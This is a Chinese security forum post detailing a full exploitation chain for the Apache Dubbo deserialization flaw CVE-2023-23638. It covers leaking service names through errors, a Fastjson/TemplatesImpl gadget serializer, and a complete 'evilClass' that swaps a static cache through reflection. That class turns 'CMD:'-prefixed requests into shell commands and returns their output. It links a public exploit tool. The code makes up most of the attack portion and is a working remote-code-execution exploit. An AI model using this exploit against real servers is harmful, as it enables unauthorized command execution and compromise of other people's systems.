本文首发于奇安信攻防社区:https://forum.butian.net/share/2277

前言

在研究Apache Dubbo的反序列化的漏洞(CVE-2023-23638)的过程中,在漏洞原理、利用等进行探索时,逐渐完整了漏洞的整个利用的流程,发觉这是一个很值得工程化的项目。因此,写下本文记录这个漏洞的完整利用以及工程化流程。

服务名发现

在面对一个开放的Dubbo服务时,第一个需要思考的问题是,如何获取目标的一个符合漏洞利用条件的方法名称、版本、参数类型等信息。在之前的Dubbo漏洞的分析文章中,这类需要依赖于输入正确方法名以及参数等信息时,分析文章大多会使用示例provider的特定方法和名称,例如api.GreetingsService。在实战中,如果无法访问目标服务的注册中心,很难获取Dubbo暴露的服务详细信息。那么有什么通用的利用方法吗?

在Dubbo3.x中,启动服务时会隐式的启动一个org.apache.dubbo.metadata.MetadataService服务,这个服务的作用是保存Dubbo的服务的元数据。官方对于此服务的用途是这么写的:

MetadataService 此服务用于公开Dubbo进程内的元数据信息。典型用途包括:

  • 使用者查询提供者的元数据信息,以列出接口和每个接口的配置
  • 控制台(dubbo admin)查询特定进程的元数据,或聚合所有进程的数据。在Dubbo2.x的时候,所有的服务数据都是以接口的形式注册在注册中心.

虽然它是用来查询元数据的,但是我们漏洞利用其实并不需要利用它查询数据。我们可以在远程调用这个服务的过程中就完成恶意对象的上传和利用。这个服务的名称和版本都是确定的:

1
2
3
4
5
6
7
8
9
10
public interface MetadataService {
String ALL_SERVICE_INTERFACES = "*";
String VERSION = "1.0.0";

String serviceName();

default String version() {
return "1.0.0";
}

虽然已知目标的服务名和版本,但是这个服务在启动时,其服务URL会拼接上其Dubbo服务的应用名。比如如果Dubbo服务配置是这样写的:

1
2
<dubbo:application name="demo-provider"/>

那么完整的MetadataService服务URL就是:

1
dubbo://IP:PORT/demo-provider/org.apache.dubbo.metadata.MetadataService:1.0.0

那么如何获取Dubbo的应用名呢?答案是利用报错。Dubbo在处理客户端的泛化调用时,如果用户传入的是错误的URL,那么就会把所有服务端存在的正确的完整服务URL拼接一个org.apache.dubbo.rpc.RpcException对象,这个对象的值会发送给客户端。因此我们只需要先进行一次错误的泛化调用就可以获取到正确的URL。

代码执行

漏洞利用的具体方法可以看我之前写的另一篇文章:https://xz.aliyun.com/t/12396,文章中讲解了利用Fastjson2+TemplatesImpl实现Dubbo3.x原生环境的任意代码执行。同时对于其中fastjson2的部分,只需要略作修改,就可以完成Fastjson的利用,从而实现全版本Dubbo代码执行,相关内容可见y4tacker师傅写的这篇文章:https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson与原生反序列化-二/#FastJson与原生反序列化-二。同时Dubbo3.x也有fastjson依赖,因此可以直接使用fastjson这条链完成通杀。

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static Object getObject() throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get("evilClass");
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "");
setValue(templates, "_tfactory", null);


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,val);

NativeJavaSerialization nativeJavaSerialization = new NativeJavaSerialization();
UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
ObjectOutput o = nativeJavaSerialization.serialize(null, unsafeByteArrayOutputStream);
o.writeObject(hashMap);
return unsafeByteArrayOutputStream.toByteArray();
}

命令回显

已经存在代码执行,那下一步就是需要研究如何让代码执行变成命令执行并回显。

一个很容易想到的方法,就是在Dubbo中动态注册一个服务,这个服务存在一个恶意的方法,作为客户端去调用这个方法就可以了。但是这个方法显然不够优雅,Dubbo不支持动态开启复用端口,因此需要新开一个端口去开启这个服务,这其实就跟直接在代码中监听端口,然后通过socket发送请求执行命令没什么区别了。

第二个方法,也是本文的重点:利用Dubbo通信中的一些特性完成漏洞回显。首先我也想到了利用Tomcat中类似的方法,动态注册filter这种思路,Dubbo也是使用的链式Filter去处理请求,但是我并没有找到如何去动态的给Dubbo增加filter的方法。

最终我使用的方法的思路核心,其实在本文的前面已经提到了。利用在服务调用中合适的时间点抛出一个org.apache.dubbo.rpc.RpcException异常,并在其Message中包裹命令执行的结果。下面介绍如何找到这个合适的时间点,以及如何让它抛出异常。

首先,直接在TemplatesImpl生成的对象中抛出org.apache.dubbo.rpc.RpcException异常是行不通的。原因在于这条链是通过TemplatesImpl的getOutputProperties方法触发的,这个方法如下:

1
2
3
4
5
6
7
8
9
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

在底层调用getTransletInstance,加载字节码为类,然后调用newInstance()方法触发代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}

在newInstance的过程中,触发字节码的抛出异常,然后NativeConstructorAccessorImpl的native方法newInstance0方法会包裹这个异常,并抛出InvocationTargetException异常,在getTransletInstance中被捕获,然后抛出TransformerConfigurationException异常,最终在getOutputProperties方法中,这个异常被忽略,返回null。

没法直接抛出异常,那就需要在Dubbo的通信流程上做手脚了。这个漏洞的利用是基于Dubbo的泛化调用,方便起见就着重关注泛化调用通信的部分。简单来说,替换Dubbo通信中的单例模式对象或者一个static final对象,让这个对象在处理客户端请求时,对特定的请求进行识别,执行恶意代码,并抛出一个org.apache.dubbo.rpc.RpcException异常,需要保证这个异常不会被通信的内部流程捕获,并修改输出流。核心思路和漏洞利用有些相似,漏洞利用过程也是替换掉目标的org.apache.dubbo.common.utils.SerializeClassChecker单例对象,从而进行利用。

基于先验知识,我们的目标是在泛化调用的过程中抛出RpcException异常。在代码层面体现就是在org.apache.dubbo.rpc.filter.GenericFilter的invoke函数中抛出RpcException异常,并且这个异常不能被其他异常捕获,否则基本上都会被修改异常的message信息。最终把目光瞄向了这个漏洞一开始关注的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
               } else {
try {
args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
} catch (IllegalArgumentException var45) {
throw new RpcException(var45);
}
}

RpcInvocation rpcInvocation = new RpcInvocation(inv.getTargetServiceUniqueName(), invoker.getUrl().getServiceModel(), method.getName(), invoker.getInterface().getName(), invoker.getUrl().getProtocolServiceKey(), method.getParameterTypes(), args, inv.getObjectAttachments(), inv.getInvoker(), inv.getAttributes(), inv instanceof RpcInvocation ? ((RpcInvocation)inv).getInvokeMode() : null);
return invoker.invoke(rpcInvocation);
}
} catch (ClassNotFoundException | NoSuchMethodException var50) {
throw new RpcException(var50.getMessage(), var50);
}
} else {
return invoker.invoke(inv);
}
}

在PojoUtils.realize过程中,如果抛出RpcException异常,它不会被其外部catch住,从而顺利传出GenericFilter。这个方法我们已经很熟悉了,它就是这个漏洞利用的最核心的方法。

1
2
3
4
5
6
7
8
9
public class PojoUtils {
private static final ErrorTypeAwareLogger logger = LoggerFactory.getErrorTypeAwareLogger(PojoUtils.class);
private static final ConcurrentMap<String, Method> NAME_METHODS_CACHE = new ConcurrentHashMap();
private static final ConcurrentMap<Class<?>, ConcurrentMap<String, Field>> CLASS_FIELD_CACHE = new ConcurrentHashMap();
private static final ConcurrentMap<String, Object> CLASS_NOT_FOUND_CACHE = new ConcurrentHashMap();
private static final Object NOT_FOUND_VALUE = new Object();
private static final boolean GENERIC_WITH_CLZ = Boolean.parseBoolean(ConfigurationUtils.getProperty("generic.include.class", "true"));
private static final List<Class<?>> CLASS_CAN_BE_STRING = Arrays.asList(Byte.class, Short.class, Integer.class, Long.class, Float.class, Double.class, Boolean.class, Character.class);

可以看到,PojoUtils是存在很多static final修饰的对象的。我选择的是CLASS_NOT_FOUND_CACHE 对象。当客户端发起泛化调用时,在获取调用类的属性的过程中,如果传入的对象是map,则会取其class属性,然后调用CLASS_NOT_FOUND_CACHE的containsKey方法判断这个类是否在之前的调用已经判断过是不存在的了。如果返回true就直接结束当前的判断逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
else if (pojo instanceof Map && type != null) {
Object className = ((Map)pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String)className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String)className);
} catch (ClassNotFoundException var22) {
CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
}
}
}

因此对于攻击来说,分成下面两步:

  1. 发起一连串泛化调用,从而上传恶意的字节码,创建一个ConcurrentMap子类对象替换掉这个CLASS_NOT_FOUND_CACHE对象。这个子类对象的containsKey方法会将className作为命令进行执行,将执行结果作为org.apache.dubbo.rpc.RpcException类的message,抛出异常。
  2. 发起一个正常的泛化调用,其参数传入一个map,map包含一个class命令的键值对。

核心代码如下,恶意类继承AbstractTranslet 满足字节码的要求,同时实现ConcurrentMap 接口,满足CLASS_NOT_FOUND_CACHE的要求。程序在其默认构造方法中调用addClass方法,利用反射替换程序的CLASS_NOT_FOUND_CACHE对象,同时把这个类的containsKey方法替换为恶意方法,针对特定的请求执行命令,执行完成后获取结果抛出异常,在代码中我抛出的是IllegalArgumentException,它会在GenericFilter中被捕获,不做任何修改的情况下拼接进RpcException,和直接抛出RpcException效果一样。在代码中我新建了一个Hashmap用来处理其它override的方法,防止替换对象导致Dubbo正常功能失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.dubbo.common.utils.PojoUtils;


import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.Charset;
import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ConcurrentMap;
import java.util.function.BiConsumer;
import java.util.function.BiFunction;
import java.util.function.Function;

public class evilClass extends AbstractTranslet implements ConcurrentMap {
private HashMap m = new HashMap();
public static final String CMD_PREFIX = "CMD:";
public static final String CMD_SPLIT = "@cmdEcho@";

@Override
public boolean containsKey(Object key) {
StringBuffer b = new StringBuffer();
if( key.toString().startsWith(CMD_PREFIX)) {
b.append(CMD_SPLIT);
try{
Process p = Runtime.getRuntime().exec(key.toString().substring(5).split(" "));
InputStream fis = p.getInputStream();
InputStreamReader isr;
if (key.toString().substring(4,5).equals("g")) {
isr = new InputStreamReader(fis,Charset.forName("GBK"));
}else {
isr = new InputStreamReader(fis);
}
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line = br.readLine()) != null) {
b.append(line+"\n");
}
}catch (Exception e){

}
b.append(CMD_SPLIT);
throw new IllegalArgumentException(b.toString());
}
return m.containsKey(key);
}

@Override
......

public evilClass(String a) throws Exception{

}
public evilClass() throws Exception{
try {
addClass();
}catch (Exception e){
e.printStackTrace();
}
}
public static void addClass() throws Exception{
Field mo = Field.class.getDeclaredField("modifiers");
mo.setAccessible(true);
Field field = PojoUtils.class.getDeclaredField("CLASS_NOT_FOUND_CACHE");
field.setAccessible(true);
mo.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.set(null,new evilClass(""));
System.out.println("add success");
}

}

最终效果

把上述内容整合后,可以完成该漏洞的完整利用。工程化效果如下:

  1. 注入字节码

  1. 执行命令

工具源码会开源在https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/,我开发了漏洞利用相关代码,GUI的代码完全来自于ChatGPT。欢迎各位师傅提出建议。